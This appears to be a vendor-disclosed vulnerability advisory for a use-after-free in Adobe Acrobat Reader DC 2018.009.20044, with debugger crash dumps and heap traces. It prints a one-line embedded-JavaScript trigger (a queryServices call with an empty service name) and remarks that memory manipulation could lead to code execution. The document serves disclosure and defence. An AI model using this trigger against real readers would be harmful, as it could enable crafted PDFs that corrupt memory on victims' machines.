### Summary A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. ### Tested Versions Adobe Acrobat Reader DC 2018.009.20044 ### Product URLs https://get.adobe.com/reader/ ### CVSSv3 Score 7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H ### CWE CWE-416: Use After Free ### Details Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger...
### Summary A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. ### Tested Versions Adobe Acrobat Reader DC 2018.009.20044 ### Product URLs https://get.adobe.com/reader/ ### CVSSv3 Score 7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H ### CWE CWE-416: Use After Free ### Details Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses additional attack surface. When executing a following piece of Javascript in a suitable PDF document, a Use-After-Free condition can be triggered: ``` try{this.Net.Discovery.queryServices( "", {} ); }catch(e){app.alert(e);} ``` With page heap enabled, this leads to a crash: ``` eax=17a6acb8 ebx=29464fe0 ecx=29464fe0 edx=771f6c74 esi=2a064fd8 edi=2a064fd0 eip=520e2961 esp=0031f01c ebp=0031f02c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Annots!PlugInMain+0x9ea60: 520e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29464ff8=???????? 0:000> ``` The memory pointed to by `ebx` is freed an invalid, leading to a crash. The method `Net.Discovery.queryServices` requires privileges, and by default it would be blocked by security permissions. But if the source of the document is trusted, it will execute without problems and lead to a crash. In order to trigger a crash, the first argument needs to be an invalid service name. An empty string suffices. If we track back the allocations, we can see that pointer in `ebx` is actually used as `this` in previous function calls. The pointer in `ebx` actually comes from an array of size 0x30 allocated at `Annots!PlugInMain+0x4c01`: ``` 0:000> !heap -p -a eax address 292c2fd0 found in _DPH_HEAP_ROOT @ 191000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 292215b0: 292c2fd0 30 - 292c2000 2000 6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 62f8ed43 MSVCR120!malloc+0x00000049 55848b02 Annots!PlugInMain+0x00004c01 55848ab1 Annots!PlugInMain+0x00004bb0 55a4ba1b Annots!PlugInMain+0x00207b1a 558e1e29 Annots!PlugInMain+0x0009df28 558e2308 Annots!PlugInMain+0x0009e407 56b4267d EScript!mozilla::HashBytes+0x0004201b 56b275b6 EScript!mozilla::HashBytes+0x00026f54 56b217c2 EScript!mozilla::HashBytes+0x00021160 56b205f0 EScript!mozilla::HashBytes+0x0001ff8e 56b204fb EScript!mozilla::HashBytes+0x0001fe99 56b20442 EScript!mozilla::HashBytes+0x0001fde0 56b09e18 EScript!mozilla::HashBytes+0x000097b6 56b48697 EScript!mozilla::HashBytes+0x00048035 56b4841a EScript!mozilla::HashBytes+0x00047db8 56b47e8d EScript!mozilla::HashBytes+0x0004782b 56b46d7f EScript!mozilla::HashBytes+0x0004671d 56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d 6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf 60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd 601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31 5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618 5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16 601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a 5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f 5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b 5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b 5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231 ``` Setting a write access breakpoint on the dword where the final dereferenced pointer is stored reveals where it comes from: ``` 0:000> ba w 4 292c2ffc 0:000> dd 292c2ffc 0:000> g Breakpoint 6 hit eax=29d26fe0 ebx=29d26fe0 ecx=55a494c0 edx=771f6c74 esi=28a2cff8 edi=292c2fd0 eip=55a49408 esp=0018c9e4 ebp=0018ca0c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 Annots!PlugInMain+0x205507: 55a49408 e86941e0ff call Annots!PlugInMain+0x9675 (5584d576) 0:000> dd 292c2ffc 292c2ffc 29d26fe0 ???????? ???????? ???????? 0:000> !heap -p -a 29d26fe0 address 29d26fe0 found in _DPH_HEAP_ROOT @ 191000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 2a3221d4: 29d26fe0 1c - 29d26000 2000 6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 62f8ed43 MSVCR120!malloc+0x00000049 55848b02 Annots!PlugInMain+0x00004c01 55848ab1 Annots!PlugInMain+0x00004bb0 558e22e7 Annots!PlugInMain+0x0009e3e6 56b4267d EScript!mozilla::HashBytes+0x0004201b 56b275b6 EScript!mozilla::HashBytes+0x00026f54 56b217c2 EScript!mozilla::HashBytes+0x00021160 56b205f0 EScript!mozilla::HashBytes+0x0001ff8e 56b204fb EScript!mozilla::HashBytes+0x0001fe99 56b20442 EScript!mozilla::HashBytes+0x0001fde0 56b09e18 EScript!mozilla::HashBytes+0x000097b6 56b48697 EScript!mozilla::HashBytes+0x00048035 56b4841a EScript!mozilla::HashBytes+0x00047db8 56b47e8d EScript!mozilla::HashBytes+0x0004782b 56b46d7f EScript!mozilla::HashBytes+0x0004671d 56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d 6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf 60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd 601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31 5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618 5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16 601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a 5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f 5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b 5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b 5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231 5fb860d4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014ba4 5fb85688 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014158 ``` This 0x1c chunk of memory is subsequently freed but is later reused resulting in a crash: ``` (c20.5e8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=17d2acb8 ebx=29d26fe0 ecx=29d26fe0 edx=771f6c74 esi=292c2fd8 edi=292c2fd0 eip=558e2961 esp=0018eee8 ebp=0018eef8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Annots!PlugInMain+0x9ea60: 558e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29d26ff8=???????? 0:000> dd ebx 29d26fe0 ???????? ???????? ???????? ???????? 29d26ff0 ???????? ???????? ???????? ???????? 29d27000 ???????? ???????? ???????? ???????? 29d27010 ???????? ???????? ???????? ???????? 29d27020 ???????? ???????? ???????? ???????? 29d27030 ???????? ???????? ???????? ???????? 29d27040 ???????? ???????? ???????? ???????? 29d27050 ???????? ???????? ???????? ???????? ``` With page heap disabled, this stale pointer dereference will usually succeed and result in further memory corruption. With proper memory layout manipulation, it could be abused to achieve arbitrary code execution. Do note that in order for the PoC to trigger this memory corruption, the PoC file needs to be added to trusted locations list in “Security(Enhanced)” in preferences. ### Timeline * 2018-01-23 - Vendor Disclosure * 2018-05-15 - Public Release
